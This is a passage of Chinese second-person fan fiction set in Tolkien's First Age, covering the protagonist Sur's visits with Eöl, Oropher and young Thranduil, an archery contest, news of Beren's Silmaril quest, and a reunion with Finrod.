埃欧尔早已看穿了你内心的真实想法,所以他说:“分忧?你所说的分忧和我理解的是同一个意思吗?还是说你就是想要看我的笑话?” 瞧他这话说得,你只是关心一句而已,他就跟应激似的,你记得自己好像也没对他做什么吧?顶多就是稍微教训过他一顿,嗯,可能不止一顿?总之,你还以为自己现在和埃欧尔是友好相处的呢。 但他的反应证明并不是,他将那封信丢进壁炉里焚毁,然后装作一切都没有发生过的样子,若无其事地对你说:“你还要在这里待多久?” “大概很快就会走了吧。”你说。 埃欧尔微微眯起眼睛,都说相由心生,因为他的性格阴郁,以至于他的长相哪怕是精致俊美的,但也总是透着一股阴恻恻的味道,现在眯起眼睛以后那气质就更加明显了。 他像是在确认你说的是不是实话,通过观察你脸上的细微表情他终于确定你说的是真的。 你真的要在不久之后离开这里了。 莫名地,埃欧尔居然感觉到几分不自然,他的心里甚至还产生几分说不出来的复杂情感。 按理来说他应该感到高兴的才对,毕竟你这样一个可恶的人类终于要从他的领地上滚出去了,他的生活也终于能够回归正轨,这一切对他来说不都是一件好事吗? 可他为什么会觉得奇怪呢? 这种古怪的情绪让埃欧尔不解而烦躁,他没好气地说:“是么,那是再好不过的事情了,我巴不得你赶紧走人。” 你没有被他这话惹怒,好像无论他对你说什么你都不会生气,倒也不是你脾气好,而是你根本就没把他放在眼里,人又怎么可能会因为无关紧要的东西而生气呢?你现在就属于这个情况。 你笑眯眯地说:“真的吗?我还以为你会舍不得我呢。” “你想多了,你把自己当成什么人了?”你只是一个自说自话闯入他地盘的可恶人类,他怎么可能会舍不得你呢? 行吧,既然他都把话说到这份上了,你就点点头。 可就在你快要离开书房的时候埃欧尔又鬼使神差地叫住你,说:“你走的时候最好给我安静一点,别打扰到我。” 你缓缓打出一个问号,然后根据你和他相处得出的经验,将他这句话翻译一下就是他希望你走的时候和他说一声,你爽快地答应了,说:“好啊,我知道了。” 你的原定计划是隔几天就离开埃欧尔这里,但是没成想接下来一段时间的天气恶劣,不是打雷就是下雨,你想挑个晴空万里的日子出发怎么就这么难呢? 这次换你有些郁闷了,在你百无聊赖地坐在窗边等待这场雨停下来的时候忽然之间你看见一支精灵的队伍从森林边缘往里头走,摆明了就是要来埃欧尔的宫殿。 精灵的队伍很好认,因为他们在前行的时候往往领头的精灵都会举着象征家族的旗帜,你一看那旗帜就知道那是辛葛的亲族,那么四舍五入一下就也是埃欧尔的亲族。 埃欧尔总不至于六亲不认吧? 你站在窗边看着穿梭在雨幕里的队伍,那些精灵身上披着魔法斗篷,可以遮风挡雨,你花了几秒钟找出这支队伍的首领是谁,应该就是在最前方骑马的那个精灵,银白色的长发从魔法斗篷的兜帽里滑出来,那个精灵身前还坐着一道体型较小的身影,大概率是那个精灵的后代。 你出于好奇多看了两眼,然后坐在前头的年幼精灵忽地抬起头,露出小小的脸庞,湛蓝的眼睛扫向你,他皱着眉对父亲欧瑞费尔说:“父亲,有谁在暗中观察我们。” 闻言,欧瑞费尔抬起头,但此时的你已经从窗户旁边消失,倒也不是落荒而逃,就是想着主动去迎接这支精灵队伍而已。 名为迎接,实则是想着去看热闹。 你快步来到大厅,看见了站在大门口的埃欧尔,站在阶梯上的他露出一副高高在上的姿态,你都觉得好笑,说:“你有亲戚来做客怎么也不和我说一声啊?” 埃欧尔那副端着的姿态因为你的话一秒钟破功,他说:“这和你无关。” 这确实和你无关,但你就是喜欢凑热闹,你没搭理埃欧尔,更是假装没看见他朝你递来的眼神,忍无可忍的埃欧尔终于直接开口说:“你到底想要做什么?这种时候你就应该回你的房间待着。” 你说:“再怎么说我们也是朋友,既然是朋友,那我就有义务帮你接待客人,你也不用感谢我。” 听你说这话的埃欧尔脸上浮现出疑惑的神色,他什么时候和你成为朋友了? 埃欧尔刚想要说些什么,领头的欧瑞费尔已经来到大厅,有礼貌地和埃欧尔打招呼,“埃欧尔大人,我们许久未见了。” 第63章 “我不希望你和他们走得太近。” 原来精灵也会讨厌走亲戚吗?你还以为就只有你一个人这样呢,在欧瑞费尔的声音传过来的时候你瞧见埃欧尔的表情明显变了变,但又不能像往常那样说出嘲讽的话语,毕竟对方也是自己的亲族,所以他只能勉为其难地对这位来访的精灵挤出一个笑容。 你没作声, 站在旁边看好戏, 你承认自己的恶趣味就是看埃欧尔为难。 “这是我的孩子瑟兰迪尔,这应该是你们的初次见面。”欧瑞费尔说, 他的脾气看上去就比埃欧尔好许多,站在他身旁的精灵一看就年纪还小,你也是第一次见到还没成年的精灵,他的五官和父亲很像, 唯独发色有些不一样,他的发色是金色的, 大概率是遗传了他的母亲。 对视线极为敏锐的瑟兰迪尔微微侧过头, 他认出你就是刚才那个暗中观察他们的人类, 他湛蓝的眼瞳里不免浮现出几分好奇和疑惑。 因为在来的路上他就听父亲说过他们即将拜访的那位精灵领主性格孤僻古怪,和同族的精灵都相处不好,可如今他却在对方的宫殿里发现了一个人类。 他通过你的穿着打扮排除了你是囚犯的可能,难不成你还真是埃欧尔的客人? 瑟兰迪尔还是没想明白你到底是什么身份,而就在这时你突兀地对他笑了下,他被打个猝不及防,又飞快地移开视线。 既然瑟兰迪尔都已经发现了你,他的父亲欧瑞费尔也不可能没留意到你,于是他和埃欧尔攀谈几句后就将话题引到你身上,他看似好奇地问道:“这位是?” 埃欧尔冷着一张脸,语气里透露出几分不耐烦,说:“客人。” 只不过是不速之客, 姑且也算是客人吧,埃欧尔在心里补充道。 一听他们都提到了你,你也不能一直站着看戏了,就主动上前和欧瑞费尔问好,“我叫苏尔,是埃欧尔大人的访客。” 说得可真好听,还用埃欧尔大人这种敬称来称呼他,真不知道之前对他直呼其名毫无敬意的人究竟是谁,埃欧尔冷眼旁观,只觉得你未免也太会伪装了一些,而更可怕的是欧瑞费尔居然还真的相信了。 欧瑞费尔说:“苏尔?我似乎听说过你。” 嗯?你已经这么出名了吗?你虽然确实做过不少好事,但也不是每次做好事都用自己的大名,偶尔你也会开几个马甲,稍微掩饰一下自己的真实身份。 毕竟小心驶得万年船嘛。 你说:“哦是吗?或许是您认错了呢?” 欧瑞费尔笑着说:“不,我对自己的判断能力很有把握,你就是那个神秘的人类苏尔。” 你什么时候还多出一个“神秘的人类”这个外号的?你感觉自己的外号已经足够多了,“费诺里安之友”“纳国斯隆德的人类导师”“百战百胜剑客”等等,再这样下去以后报你的外号就跟报菜名似的,真是没完没了了。 你说:“这个名号我倒是没怎么听说过。” 好在欧瑞费尔也只是随口一提,这个话题没有持续多久就被跳过,埃欧尔也开始很敷衍走流程似的接待这些远道而来的亲族。 在欧瑞费尔和埃欧尔单独谈话的时候你遇到了守在书房门外的瑟兰迪尔,你换算了一下他现在这个年纪放在人类里应该是小学生。 只不过他的心智要比人类的小学生成熟一些,所以在你和他打招呼的时候他也礼貌得体地回应了。 你只是路过而已,但瑟兰迪尔忽然说:“你就是那个传闻中的人类吧,我能感觉出来。” “我们之前见过面吗?”你停下脚步回过头,瑟兰迪尔柔顺的金色长发披散在脑后,湛蓝的眼睛一眨不眨地盯着你看,他说:“没有见过,但你的气质特殊。” 反正闲着也是闲着,现在外头还在下雨,你都没心思出去,待在宫殿里也觉得无聊,你才在这里待了没多久就已经开始感觉到无趣了,因此你也很佩服埃欧尔居然能一直住在这里。 “你给我的感觉也很特殊。”你礼尚往来地说道。 瑟兰迪尔总觉得你那语气就像是在对待小孩子,虽说他的年龄确实不大,但被这样对待难免让他产生几分不悦,他说:“你是在哄小孩吗?” “我没有哄小孩的习惯。”毕竟你上辈子也不是什么喜欢小孩子的人,这辈子更是延续了上辈子的习惯。 “但你刚才说的话很敷衍。” 啊,被他给听出来了吗?你挑起一边的眉,说:“被你发现了啊。” 瑟兰迪尔说:“所以你不否认自己的敷衍吗?” “为什么要否认呢?我一开始确实觉得你可能是个好应付的精灵,但接触下来以后才发现并非如此。” 因为你说得太坦荡以至于瑟兰迪尔都愣了一下,好像是被你的话给哽住了,他抿抿唇,说:“我还听说你很厉害,是你杀死了魔苟斯。” “这也不算什么吧。”你说得轻描淡写,也不是你在装,而是你真的觉得用系统给的金手指打魔苟斯没什么难度,开挂打boss就跟砍瓜似的,但你的不以为意落在瑟兰迪尔眼里却变了另外一层含义,他说:“我想要挑战你。” 啊?他说什么? 你缓慢地眨了一下眼睛,又问:“你在说什么?” 瑟兰迪尔耐心地重复一遍,“我说,我想要挑战你。” “你确定吗?现在的你可能连我一招都接不住啊。” 不是夸张,你一拳下去他真的会死。 瑟兰迪尔说:“现在或许我还不够格,但以后,等我长大以后应该能够成为你的对手。” 不是你说,就算他日后长大了估计也不是你的对手,但你没有打击他的自信心,你只是说:“好啊,那我会等待那一天的到来的。” 瑟兰迪尔还是觉得你这句话也在敷衍,但和你四目相对的时候你的眼神却又很认真,这让他有些拿不准了,恰好在这时议事厅的门被打开,先走出来的是埃欧尔,他看了看守在门口的瑟兰迪尔又看了看你,可能是在推测你和瑟兰迪尔之间发生了什么对话。 欧瑞费尔说:“看来你们相处得很好,希望瑟兰迪尔没有冒犯到你。” 换做其他精灵比如说埃欧尔估计会把瑟兰迪尔刚才的话当成挑衅,但你就比埃欧尔宽容大度多了,你说:“没有,我们聊得很开心。” 埃欧尔听到你这么说,表情又发生了变化,你对着这几个精灵点点头,转身离开现场。 当天晚上当你在保养武器的时候听见一阵敲门声,这个时间点还会有谁找你呢? 在开门前你猜过可能是瑟兰迪尔,没准他想要把挑战时间提前了,又或者是其他的精灵,但你怎么也不会想到,来找你的是埃欧尔,你打开门看见站在门外的埃欧尔,略带惊讶地说:“你走错房间了?” 埃欧尔又把你的话当成阴阳怪气,他说:“这里是我的宫殿,我对它比你还要了解。” “那你直接说一句自己没走错房间不就好了吗?”又何必说那么多的废话呢?还是说他想要多和你说几句话? 站在门外的埃欧尔还穿着睡衣,这就让你更加奇怪了,你说:“现在这个时间点你不应该去休息了吗?” “不要说得好像你很了解我似的。”埃欧尔没好气地说,话虽如此,但听你那语气似乎也在关心他,他接下来的语调就变得稍微柔和一些,但也只是稍微一点而已,他又说:“今天来的精灵我不怎么喜欢。” 你以为他话没说完,就保持沉默等他的下文,结果他也不说话了,你和他大眼瞪小眼,你说:“然后呢?” “没有然后了。” “所以说,你大半夜地专门跑过来就是为了告诉我你不喜欢今天来的精灵访客?”你将埃欧尔这反常的举动概括总结成一句话,然后埃欧尔也发现了不对劲的地方。 他沉吟片刻,在你看来他更像是无语凝噎了,你又问道:“我总结得有什么不对的吗?而且老实说,就算你不喜欢他们和我又有什么关系呢?” 你有的时候总是把话说得很直白,同时也很尖锐,埃欧尔哑口无言,后面演变为恼羞成怒,他反问道:“你现在可是在我的地盘上,你居然胆敢用这种语气对我说话?” “埃欧尔,你听好了,如果你是想要和我好好对话,那就拿出友好的态度,而不是用威胁。”这个精灵是没学过说话的艺术吗? “而且你的威胁在我看来毫无意义,我是因为尊重你才和你平等相处的,但你呢?”你说得语重心长。 埃欧尔的表情发生改变,他的嘴唇动了动,用一种你没怎么见过的语气开口,“我不希望你和他们走得太近。” 就在他以为你要嘲讽他一顿的时候,你只是唇角上扬,露出一个笑容,不是嘲弄的笑容,而是真心实意的,你说:“这样不是很好吗?你直接告诉我你的内心想法,我们也避免了一场争吵。” 第64章 “你和那些精灵究竟是什么关系?” 虽然貌似真的避免了一场争吵,但埃欧尔心里还是觉得不舒服,可能是因为你在刚才的对话中显得太游刃有余,以至于他始终处于被动的局面,他在面对你的时候已经不止一次体会过这种感觉了。 但直到现在他都难以适应, 他说:“别好为人师为了。” “我也不会收没悟性的学生。”你轻飘飘的一句话就让埃欧尔的郁闷程度翻倍, 更让他烦躁的是自己居然找不出反驳你的话来,这一次还是你赢了。 埃欧尔说:“我看你就是存心想要和我作对。” 本来打算保养完武器就去睡觉的你突然被埃欧尔找茬你的心情能好到哪里去,你在埃欧尔的注视下伸出手,一把抓住他的衣领,哪怕他的身量比你高大一些,但你的力量可远在他之上,你的小臂发力,将他拽了过来,压低重心,拉近你们俩的距离,在他耳边说:“这才是作对和挑衅,你学会了吗?” 埃欧尔规律的呼吸被你的动作打乱,甚至于他的眼睫都在颤抖着,是因为气恼吗?还是因为别的什么呢? 你直视着埃欧尔的双眼,又问道:“这次我应该说得足够清楚了吧?” 埃欧尔的嘴唇动了动,最后什么都没说,猛地挣脱你的束缚旋即后退两步,恼羞成怒地瞪了你一眼,旋即转身离开,你就当做什么都没发生过的样子回到自己的房间关上门,继续保养武器,结束后就去睡觉。 你当天晚上的睡眠质量不错, 倒不如说你的睡眠质量就没差过,可能是因为你从来都不会让白天发生的事情影响自己的心情吧,上辈子你已经内耗惯了,这辈子就绝对不会再内耗了。 一觉醒来你神清气爽,洗漱过后换好衣服,然后出门去吃早餐,你在餐厅没遇见埃欧尔,反倒是碰到了欧瑞费尔和瑟兰迪尔这对父子,欧瑞费尔对你点点头,瑟兰迪尔也学着父亲的样子点头,甚至还要装出一副严肃的样子,但是功力不够,严肃只装了一半。 你朝着他们走去,在瑟兰迪尔旁边的空位置坐下,而后说:“二位早上好啊。” 欧瑞费尔说:“早上好。” 你端起温热的蜂蜜水,喝了一口,发现瑟兰迪尔还在暗中观察你,你就对欧瑞费尔说:“我听说您擅长箭术,想必您的儿子也精通箭术吧?” 突然被你提及的瑟兰迪尔表情愣了一下。 好端端地,你突然提起他又是因为什么呢?总不可能真的只是好奇他的箭术如何吧? 欧瑞费尔说:“当然,他毕竟是我的孩子。” 听到父亲这么夸奖自己,瑟兰迪尔有些不好意思地垂下眼帘,估计是觉得自己这样可能有些幼稚,他就又说:“听你的意思,你是想要和我比赛吗?” 嗯?你只是随口一说而已,可没有要和他比赛的意思啊,不过看他那副倔强的模样你也觉得有趣,就说:“如果我说是呢?” 瑟兰迪尔当即回答:“那我当然可以和你比一场。” 欧瑞费尔笑着说:“那我可以当你们的裁判。” 本来只是想要简简单单吃一顿早餐的你结果就和瑟兰迪尔约好了一场比赛。 也行吧,就当是解解闷,毕竟屋外的天气还是阴沉沉的,你担心要不了多久又下雨,所以你爽快地答应了下来。 比赛的消息很快传到埃欧尔的耳朵里,他找到正在调试弓箭的你,说:“我昨天晚上和你说的话你都没听进去吗?” 他那是什么语气啊?果然这精灵估计是这辈子都没办法学会好好说话了,你低头检查弓弦,没搭理他,见状,他就又说:“我现在和你说话你也没听见吗?” 真是幼稚,你在心里评价一句,而后才慢悠悠地抬起头,说:“你为什么觉得我会听你的话呢?我们之间存在什么隶属关系吗?我既不是你的下属也不是你的仆人,我们的关系也没有多亲近,你是不是想太多了?” 这话无异于火上浇油,埃欧尔说:“你和他们才见了两面就那么亲近,我真是猜不透你的脑袋里在想什么。” “猜不透就对了,因为我也不知道你的脑袋里在想什么。”你将这话悉数奉还给他,埃欧尔气得脸颊都铁青。 你放下弓箭,又对埃欧尔说:“你究竟是因为什么讨厌他们?” 埃欧尔理所当然地回答道:“讨厌他们还需要理由吗?” 埃欧尔讨厌精灵亦或是人类的标准是宽泛的,基本上是个精灵和人类就能被划入这个范围内,倒不如说能入他眼的精灵和人类才是少数,你总觉得他很可能连辛葛都没有放在眼里,更别提其他的精灵了。 这种处事态度虽然极端了点,但外耗的是别人。 你将箭矢装进箭筒里,又和站在旁边的埃欧尔说:“那你这样都没什么朋友,不会觉得孤单吗?” “孤单是什么很可怕的事情吗?”埃欧尔反问道,你想了一下,笑着说:“也是,你说得对。” 突然之间听见你认同他的观点,埃欧尔都觉得是自己的耳朵出问题了,还是说你有其他嘲讽的话语在后头没说出来呢? 于是埃欧尔沉默了一会,发现你是真的把话给说完了。 此时的你拿起弓箭就要离开,埃欧尔知道自己是劝不住你了,于是安静地跟在你身后。 你对于自己身后突然多出来的一条小尾巴的反应很平淡,你没回头,问道:“你是要一直跟着我吗?” “这是我的宫殿,我想去哪里都可以。” 偶尔的傲娇可以说是可爱,但总是傲娇那就让你觉得头疼了,你说:“有话可以好好说,要不然我有的是方法让你说实话。” 这句话本意是想要威胁埃欧尔,可不知道他联想到了什么,冷哼一声,说:“别以为我这就会屈服了。” 这个时候你甚至开始怀念凯勒巩了,至少和他说话没有那么费劲。 来到比赛场地的你看见了站在一旁调试弓弦的瑟兰迪尔,虽然他没抬头,但也察觉到了你的到来,他整理箭矢的动作都顿了顿。 不得不说,瑟兰迪尔也是个有些别扭的精灵,只不过他年纪小,而且别扭程度没有埃欧尔那么明显,所以你还可以用讨喜来形容他。 没错,这话就是在说埃欧尔不讨喜的意思。 你走到瑟兰迪尔身边,说:“看来你比我先一步到啊。” 瑟兰迪尔这才回答:“因为要事先做好准备。”他年纪虽小,但却知道凡事都要做好准备才能得到自己达到自己想要的目的。 你把弓箭和箭筒放在一边,微微眯起眼睛眺望远方,远处摆放着的箭靶标出了红心,外面一圈则是涂成了蓝色,这场比赛采取的是积分制,但你对比赛也没多上心,只当做消遣,毕竟你这样赢了一个小精灵也没什么成就感。 瑟兰迪尔仿佛察觉到了你的想法,他说:“我希望你能认真对待这场比赛,不要因为我的年龄而不当回事。” 他倒是很擅长察言观色,你从箭筒里取出一支箭,搭在弓上,开弓射箭一气呵成,中间没有任何多余的动作。 箭矢划破空气,不偏不倚正中红心,你说:“这样应该足以证明我的认真态度了吧?” 瑟兰迪尔说:“我也会全力以赴的。” 等裁判到场,比赛也正式开始,你的箭术还是迈兹洛斯手把手教的,他虽然平日里对你温和,但在训练上可不会多温柔,从始至终都是严厉的老师,不过还得要感谢他的严格,你的箭术水平确实没得说,赢得比赛也是毫无悬念的事情。 比赛结束后欧瑞费尔对瑟兰迪尔说:“你刚才表现得很好。” “但我还有很多需要改进的地方。”瑟兰迪尔又开始分析自己在刚才的比赛中有哪些失误的地方。 你走出赛场,埃欧尔嘴上说着对这种幼稚的比赛不感兴趣,实则还是看完了全程,你说:“你怎么还站在这里?” 埃欧尔说:“你刚才表现得很好。” “还真是难得啊,居然能听你说出夸奖的话。” “这样的技术大概率不是你自己领悟出来的,所以在此之前肯定还有精灵教过你对么?” 你不否认这一点,不只是迈兹洛斯还有很多精灵当过你的老师,你说:“是啊,怎么,你觉得自己也能成为我的老师?但你好像没什么能教给我的东西吧?” 埃欧尔在意的不是这一点,他在意的是你和其他精灵的关系,关于你的故事在这片大陆上流传,他之前避世而居对外面的传说不怎么了解。 但是在你到来之后,他就有意无意地开始收集外界的传闻,又通过这些传闻拼凑出你的过往。 一个神秘的人类,游走于精灵之间的人类,你不仅和费诺里安的关系匪浅,就连其他的诺多精灵也都是你的好友,你还真是广结好友啊。 他说:“你和那些精灵究竟是什么关系?” 果然,你还是等来了他的这个问题,你说:“你觉得呢?” 第65章 你说:“你这是不是有点太物化自己了?” 他还能觉得什么呢?他觉得你现在就是在戏弄他,他说:“这样的问题难道还得要我来替你回答吗?” 你只是反问一句而已他怎么还着急了呢?你笑了一下,回答道:“我和他们的关系远比和你的亲近,听到这个回答你总该满意了吧?” 满意?他能有什么满意的? 埃欧尔的脸色更加阴沉, 你安慰道:“你也不用太生气, 毕竟我要不了多久就会离开的。” 也不知道他想到了什么,扯了扯嘴角,笑容讽刺,说:“是么,你是要去缓解辛葛和费诺里安的关系吗?但是晚了,贝伦早已答应辛葛的条件去费诺里安手里夺回宝钻,现在,战争一触即发。” 你听到这里愣了几秒,莫名有种自己好像开了倍速过剧情,只是一眨眼的功夫怎么就发生了那么多的事情?什么贝伦? 这个贝伦又是从哪里冒出来的啊! ? 埃欧尔看你沉默许久, 以为是犹豫不决, 就在他期待你露出痛苦神色的时候你却突然问道:“贝伦是谁?” “你是在开玩笑吗?”他问道。 “你看我像是开玩笑的样子吗?”你一本正经地说道,你是真的没听说过贝伦,这其实也正常,这片大陆那么辽阔,光是精灵就有无数,更别提后来出现的人类,你不可能每个人都认识啊。 埃欧尔再三确认,发现你是真的不认识他方才提到的贝伦,他居然还真的耐着性子给你介绍来龙去脉,说:“贝伦是人类贵族,与露西恩一见钟情,只不过辛葛不同意他们的结合,在露西恩的哀求下才提出夺回精灵宝钻就准许他们在一起。” 果然这件事里还有辛葛的推波助澜,他是怎么做到每次都在一堆烂摊子里搅和的呢? “现如今贝伦成功取回一颗精灵宝钻,费诺里安势必不会善罢甘休,这也是为什么辛葛召集自己的亲族前往多瑞亚斯,为的就是应对接下来的一场战争。” 埃欧尔冷冷地说完来龙去脉,你听完以后的第一反应就是:“这后半句话都属于内部机密了吧?你怎么还直接告诉我了?就不怕我向辛葛告发你么?” “你大可以去告发我,前提是辛葛得要相信你的说辞,你过往的身份以及和费诺里安的关系注定了他不会相信你,哦对,倘若你这个时候去多瑞亚斯,去到他的面前,他说不定会留下你,把你当做人质。” 他这么说自己效忠的君主真的好么?但是转念一想,埃欧尔未必对辛葛有多忠诚。 不过埃欧尔确实了解辛葛,知道在这局面下他可能会做出劫持你作为人质的行为,但是他不会料到如果真的打起来你绝对是把辛葛打得嗷嗷叫的那一个,你说:“多谢你的提醒。” “我不需要你的感谢。”直到现在埃欧尔还在嘴硬。 你说:“好吧,不需要就不需要吧。” 埃欧尔又把话题给绕了回来,说:“所以你现在离开我的领地要去帮助那群费诺里安了吗?” “没这个打算。”你说,你不介入精灵之间的纷争,而且你本来就还在发愁怎么才能让那些精灵的好感度下降一点呢,这次袖手旁观估计能让他们费诺里安对你的好感度总体都下降一些,这对你来说也有很多好处,所以你想也不想地拒绝了。 事到如今埃欧尔真的看不穿你,你到底在乎什么呢?你到底关心什么呢? “那你又要去哪里?”埃欧尔问道,这次的语气没有任何冷嘲热讽的意思,只是单纯的询问,想问问你究竟要去何方,你的嘴唇动了动,“我不告诉你。” 埃欧尔看着你向前方走去,脚步一刻也没有停留,最终从他的视野里消失。 * 不得不说埃欧尔告诉你的消息还是不免对你造成了影响,你在当天晚上还做了一个梦,是非常清晰的梦,你梦见了迈兹洛斯和玛格洛尔,他们被宝钻的誓言折磨,丧失理智,就连杀死自己的亲族都毫不犹豫。 很难用简单的噩梦来评价,你更倾向于这是个预知梦,梦里的一切说不准还真的会发生。 要去阻止吗?你若有所思,但阻止的话又要花费你不少精力,更重要的一点是万一他们因为你的搭救好感度直接拉满的话,你在异世界的好日子也就到头了,你又要回现代社会当苦命打工人了。 所以在你的权衡利弊下,你决定给迈兹洛斯写封信,告诉他那个梦,至于其他的,那就看他自己的了。 你的行动效率很高,说干就干,当即走到书桌旁坐下,抽出信纸,拿起羽毛笔在上面洋洋洒洒地写了不少,字迹那叫一个龙飞凤舞。 这封信你写得一气呵成,最后一个单词写完,你等墨迹完全干了再将信纸折叠塞进信封里,又在信封上写下自己的署名,最后再让信鸽送去。 做完这些站在窗边的你眺望远方,绵长的天际线逐渐变得明亮,天空就要被点亮了。 你收拾行囊离开埃欧尔的宫殿,本身你来的时候就没带多少东西,走的时候带走的东西更少,轻装出发就是方便,在你走出宫殿的大门口时鬼使神差地回头看了一眼,视线就这么恰好地瞥到站在露台上的埃欧尔。 被发现的埃欧尔身形有些僵硬,有种临界于后退和硬着头皮应对之间的反应。 你没说话,没再开口说出那些让他恼怒的话语,你只是笑了一下,居然是略带友好的笑容。 而后你回过头,径直离开这片森林,将埃欧尔留在原地,他凝望着你,哪怕你的身影已经完全消失,他仍旧没有收回视线。 你在离开埃欧尔的领地后还没想好去哪里,总之先走一步看一步吧,反正你在这片大陆上的人脉广,生存能力也很强,到哪里都能活下去,所以你压根没有太多需要担心的事情。 至少在遇到芬罗德之前你还觉得自己没什么好担心的。 因为没想好去哪里,所以你就随意地挑选了一个方向出发,然后就因为随意过头开始倒霉了。 也不能说是倒霉,因为芬罗德这些年一直有在收集你的情报,所以不是这次遇见,日后早晚都会遇见的,这是必然会发生的事情,只不过你的决定加速了这个结果的到来而已。 和芬罗德重逢的那天上午刚下过雨,你正在给马匹擦拭脑袋上的雨水,你的白马跟了你有些年岁了,早已和你培养出十足的默契,基本上你一个眼神它就能读懂,反之亦然,你用手帕擦拭它的鬃毛。 擦拭到一半,白马就突然用脑袋拱你的手,你下意识地和它说:“我已经擦干净了。” 但白马没听进去,仍旧用脑袋蹭你的手背,这样反常的举动引起了你的警惕,你顺着白马的视线看去,原本空旷的草原上忽然多出一道身影,那金发精灵穿着白色长袍,衣角被微风吹拂,轻轻地摇晃着。 精灵就这样不发一语,恍若幽魂,你叫出他的名字,“芬罗德?” 他这才有所动作,他缓步向你走来,说:“好久不见了,苏尔。” 这种久别重逢中透着几分尴尬的场面是你没想到的,或者说你根本没想过自己还会和芬罗德见面,他都不用上班的吗?再怎么说他也是纳国斯隆德的君主啊?怎么能这么不敬业啊。 “你不应该在纳国斯隆德吗?”你问道,看似在关心,实则是在思考自己的行踪难道被监视了吗? 芬罗德的面容依旧,湛蓝色的眼瞳仍旧温和柔软,只是你总觉得他身上有了什么变化,不在于表面,而在于内里,是非常细微的变化。 芬罗德说:“是啊,但我有些想念你,所以就暂时离开了纳国斯隆德。” 他口中所说的暂时离开指的也不过是百年时光而已,对于精灵来说确实算得上暂时,但要是从人类的视角来看,那就显得格外执着。 都已经到偏执的地步了吧? 你扯了扯嘴角,估计刚才白马也是察觉到了对方的存在才会特意提醒你的,你说:“很好,那我们现在也已经见过面了——” 还没等你把话说完,芬罗德就自顾自地接过话头,又说:“你接下来要去哪里?” 这话似曾相识啊,埃欧尔也问过,但不管怎么说,埃欧尔自然是没法和芬罗德比较的,你回答芬罗德的语气就好许多,你说:“也没有特定的目的地,我只是想要在这片大陆上随意走走而已。” “你再往前走的话估计就要去我的领地了,所以我可以姑且认为你是要去我那边吗?” 这是什么姑且?好一个四舍五入啊,你都被他这幅理直气壮的样子惊讶了几秒。 “我没有这个想法。” “好吧,但你一个人旅行不会觉得孤单吗?我可以与你作伴。” 他笑着推销自己,说着自己能为你做些什么,你听着听着就觉得不对劲了,你说:“你这是不是有点太物化自己了?” 但芬罗德不以为然,他说:“有吗?我只是想告诉你我能为你服务而已。”《 》 65-70 第66章 “我可没有你想的那么好。” 芬罗德在物化自己这件事上仿佛有着与生俱来的天赋,那么顺理成章,那么理直气壮,以至于你都沉默了几秒,你说:“你身为纳国斯隆德的君主,不该说这种话的。” 真没想到有朝一日自己居然还会说出成何体统这种话, 你有意提醒芬罗德他的身份,但他对此好像丝毫不在意, 他说:“现在只有你和我,我们之间是平等的,强调君主身份只会拉远我们的距离。” 大道理说得那是一套接着一套,你总觉得哪里不对劲,你干脆跳过这个话题再次强调,“我一个人旅行也很好。” 可芬罗德像是铁了心地要跟你一块, 他说:“我们的相遇肯定是命运的安排。” 在这个世界里命运还真是一块砖,哪里有用哪里搬,按照他这种地毯式搜寻的方法,能不找到你才算有鬼,所以别提什么命运了。 更何况你本身也不怎么相信命运。 你说:“可我并不相信命运。” 芬罗德沉吟片刻,皱着眉,说:“是我让你感到厌烦了吗?” 和你相处一段时日的芬罗德怎么会不知道你的性格呢,同样也知道你吃软不吃硬,倘若想要与你同行,那么态度就绝对不能太强硬,所以他选择以退为进,一一细数着自己过往可能做错的事情,以此来反思自己的过错。 你一看他一言不合就开始反思自己, 你赶忙让他打住, 就说:“等等,你也别再继续说了。” “可那些不都是我做错的事情吗?” “你不就是想要以此来让我心软吗?”你一针见血地指出芬罗德的真实目的。 被戳穿的芬罗德也不紧张亦或是尴尬,他无比坦然地点头,说:“是的。” 你笑了一下,是无奈的笑容,芬罗德还在等待你的回答,你隔了一会才说:“行吧。” 你得承认自己确实有点心软,但芬罗德比起其他的精灵来说确实更有分寸感,至少不会出现像凯勒巩那样胡搅蛮缠的情况,所以你对他的态度自然也好许。 一看你同意了,芬罗德眼里的忐忑不安也如同烟云散开,他说:“那真是太好了。” 伫立在你身后的白马探头探脑的,小眼神还在打量你和芬罗德,估计是在猜测你和这个精灵之间的关系,你回过头又摸了摸白马的脑袋,并对它说:“只是我的精灵朋友。” 在芬罗德的注视下你又多加了一句,“同时也是恋人。” 白马把你说的话听懂了一大半,然后打了个响鼻。 因为今天的天气不错,你也不着急赶路,就让白马跟着你慢悠悠地走着,身旁还有芬罗德与你并肩同行。 你们非常有默契地没问起在没见面的那段时间里发生的事情,他更没问你和芬巩离开精灵领地以后都去哪里了,他只是安静地陪伴在你身边,正如他先前向你保证的那样不会打扰到你。 这反倒是让你感觉到了不习惯,你说:“你就没什么想要问我的吗?” 芬罗德说:“我又能问你什么呢?我知道你在过去的那段时间里过得很好,这就足够了。” 他的要求很低,把自己的姿态也放得很低,仿佛只要你幸福其他的都无所谓了。 那他还真是心胸宽广,换成你就做不到这一点,你说:“你不在纳国斯隆德的时候都是谁在负责管理?” “安格罗德,他也已经成长到可以完成这些政务的时候了,对了,当初收留的人类也拥有自己的领土,平日里住在自己的领土上,重大节日的时候就会和精灵一块庆祝,他们还会送年轻人纳国斯隆德学习。” 芬罗德的话匣子被打开,他陆陆续续地说着那些人类的发展,人类的城市能有如今的规模除了人类自身的努力,更少不了精灵的帮助,芬罗德是个非常亲近人类的精灵,对人类基本上是能帮则帮的。 “我是不是说得太多了?”芬罗德意识到从刚才开始就一直是自己在自说自话,你的回应是偶尔的点点头,他担心你可能会听得无聊。 他担心的事情并没有发生,因为你听得还算认真。 可能也是因为芬罗德比较会讲故事吧,你说:“那倒没有,我只是觉得时间过得可真快啊。” 果然只要日子过得舒坦就会觉得时间飞逝吗?你以前上班的时候可是觉得度日如年的啊,现在来到异世界为非作歹,啊不是,是为所欲为以后就感觉每天都过得很轻松。 芬罗德说:“他们之中的一些人也有问起过你的下落。” 你从自己的记忆里翻找出当年在纳国斯隆德结识的人类朋友,他们在你记忆里的面容稍显模糊,你配合地问道:“那你是怎么回答的呢?” “因为当时我也不能确定你的下落,所以就只是说你去了远方帮助其他人类。” 迎面而来的微风吹动你脸颊两侧的碎发,发梢拂过侧脸,你垂下眼帘,身边的芬罗德将你的侧脸收入眼底,这个时候的你又在思考什么呢?你是在回忆过往吗?你还能记起那些人的脸和名字吗? 又或者说,有谁能那么幸运在你的心里留下印记呢?这似乎是连精灵都无法做到的事情。 